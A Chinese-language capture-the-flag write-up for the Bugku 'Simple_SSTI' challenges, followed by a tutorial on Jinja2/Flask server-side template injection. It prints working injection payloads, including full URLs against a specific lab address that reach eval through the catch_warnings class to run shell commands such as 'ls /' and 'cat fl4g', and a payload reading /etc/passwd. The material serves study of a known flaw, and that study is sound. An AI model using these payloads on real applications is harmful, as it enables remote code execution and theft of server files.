1.Simple_SSTI_12.Simple_SSTI_2
输入:http://114.67.175.224:15355/?flag={%%20for%20c%20in%20[].class.base.subclasses()%20%}{%%20if%20c.name%27catch_warnings%27%20%}{{%20c.init.globals[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27ls%20/app/%27).read()%22)}}{%%20endif%20%}{%%20endfor%20%}
找到其中的flag文件
http://114.67.175.224:15355/?flag={%%20for%20c%20in%20[].class.base.subclasses()%20%}{%%20if%20c.name%27catch_warnings%27%20%}{{%20c.init.globals[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27cat%20fl4g%20/app/flag%27).read()%22)}}{%%20endif%20%}{%%20endfor%20%}

SSTI模板注入

1.SSTI含义

SSTI是一种注入类的漏洞,其成因也可以类比SQL注入.SSTI利用的是现有的网站模板引擎,主要针对Python、PHP、JAVA的一些网站处理框架,比如Python的jinja2、mako、tornado、Django,PHP的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候,在过滤不严情况下,通过构造恶意输入数据,从而达到getshell或其他目的。

2.flask原理基础

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。return render_template(‘index.html’)
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

html = '<h1>This is index page</h1>'
return render_template_string(html)

flask是使用Jinja2来作为渲染引擎的。

不正确的使用flask中的render_template_string方法会引发SSTI。

3.方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

函数

config:
{{config}}可以获取当前设置,
如果题目类似app.config [‘FLAG’] =(‘FLAG’),那可以直接访问{{config[‘FLAG’]}}或者{{config.FLAG}}得到flag

self
{{self.dict._TemplateReference__context.config}} ⇒ 同样可以找到config

1 、获取字符串的类对象

>>> ''.__class__
<type 'str'>

2 、寻找基类

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

3 、寻找可用引用

>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

4 、利用之

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

以上就是大致的思路,但是根据不同的情况,最后的利用部分构造的代码会不太一样。不过大同小异。

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数{% if 'eval' in b.keys() %}    //找到了{{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

查找文件
在jinja2中,存在三种语法:

控制结构 {% %}
变量取值 {{ }}
注释 {# #}
将ls 改成cat fl4g,就可以读取flag了

最后再总结一下解题思路
1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__或者__mro__拿到基类(<class ‘object’>)
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell
5.接下来只要找到能够利用的类(方法、函数)就好

查找根目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}
{% endfor %}其中ls / 用于修改
/后面加地址
将ls 改成cat fl4g查看内容

bugku Simple_SSTI_1and 2(SSTI模板注入)相关推荐

  1. WEB 渗透之SSTI 模板注入

    SSTI 模板注入 文章目录 SSTI 模板注入 前言 一.注入 二.什么是 SSTI 模板注入 三.产生原因 四.常见的模板引擎 五.相关属性 六.检测方法 七.攻击思路 1. 攻击方向 2. 漏洞 ...

  2. SSTI模板注入总结

    文章目录 一.初识SSTI 二.判断SSTI类型 三.常用类 1.__class__ 2.__bases__ 3.__subclasses__() 4.类的知识总结(转载) 5.常见过滤器(转载) 四 ...

  3. buu(ssti模板注入、ssrf服务器请求伪造)

    目录 目录 [CISCN2019 华东南赛区]Web11 [BJDCTF2020]EasySearch [De1CTF 2019]SSRF Me [CSCCTF 2019 Qual]FlaskLigh ...

  4. CTF SSTI模板注入详解

    我们用一题"百度杯"CTF比赛来实战解题: 这边临时靶场的URL是:eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/ 首先bp暴力破 ...

  5. 【安全漏洞】DedeCMS-5.8.1 SSTI模板注入导致RCE

    漏洞类型 SSTI RCE 利用条件 影响范围应用 漏洞概述 2021年9月30日,国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导 ...

  6. CTF笔记 SSTI模板注入

    文章目录 前言 一.判断模板类型 二.上例题 1.[BJDCTF2020]Cookie is so stable 2.[BJDCTF2020]The mystery of ip 总结 前言 之前做ss ...

  7. SSTI 模板注入url_for和get_flashed_messages之[WesternCTF2018]shrine

    知识点: url_for和get_flashed_messages global 设置全局变量,使内部变量值可以被操作 __globals__(这个函数的结果只表示可读的量)使用方法是 fun._gl ...

  8. PHP中的SSTI模板注入——Twig、Smarty、Blade

    目录 前言: (一)Twig 0x01 代码可控 0x02 代码不可控 0x03 输入payload 0x04 靶场演示 (二&

  9. CTF_Web:从0学习Flask模板注入(SSTI)

    0x01 前言 最近在刷题的过程中发现服务端模板注入的题目也比较常见,这类注入题目都比较类似,区别就在于不同的框架.不同的过滤规则可能需要的最终payload不一样,本文将以Flask为例学习模板注入 ...

最新文章

  1. OpenCV直线拟合检测
  2. Javascript的闭包及其使用技巧实例
  3. 新时代营销解决方案:敏捷BI助力银行高效精准营销
  4. 区位码\机器码\内码关系
  5. 7-5 流水作业调度 (10 分)(思路+详解+johnson解析)Come Baby!!!!!!!!!!
  6. Fail-fast 和 Fail-safe 机制
  7. php+预览和下载pdf文件,vue实现在线预览pdf文件和下载(pdf.js)
  8. 华为eNSP最稳定的装法
  9. VB 设置控件边框颜色(如:List、Text、Picture)
  10. 腾讯校招技术岗面试经历及总结(已发offer)
  11. 实例079RTF文件的保存
  12. 图像的三次B样条插值原理与C++实现
  13. 一线数据分析师教你如何写简历才能脱颖而出!
  14. 小猫钓鱼(纸牌游戏)-c语言
  15. java scavenge_JAVA Parallel Scavenge收集器
  16. 刚工作2年时15k运维工程师-简历
  17. 基于安卓的共享单车设计与实现
  18. 如何使用ChatGPT做一份五一出游攻略?
  19. 苹果隐藏app_更新完iOS14,这9个隐藏黑科技功能,你一定还不知道
  20. 计算机图形学——二维图形几何转换

热门文章

  1. python3 判断字符串是否包含中英文和数字
  2. 【荐书】互联网电商系统的大数据方案书籍
  3. 图片隐写类简单思路介绍
  4. 花火4G聚合路由器无线网络支持5G户外直播应急通讯工作
  5. 算法时间复杂度的渐进表示法 + 分析窍门
  6. win10降win7_软硬兼施Win7:8核笔记本/移动工作站出坑记
  7. Win7 64位系统USB免驱设备驱动识别失败解决方法
  8. 读书笔记——《重构》
  9. alm系统的使用流程_ALM——应用程序全生命周期管理核心功能有哪些
  10. IDM移动端功能升级说明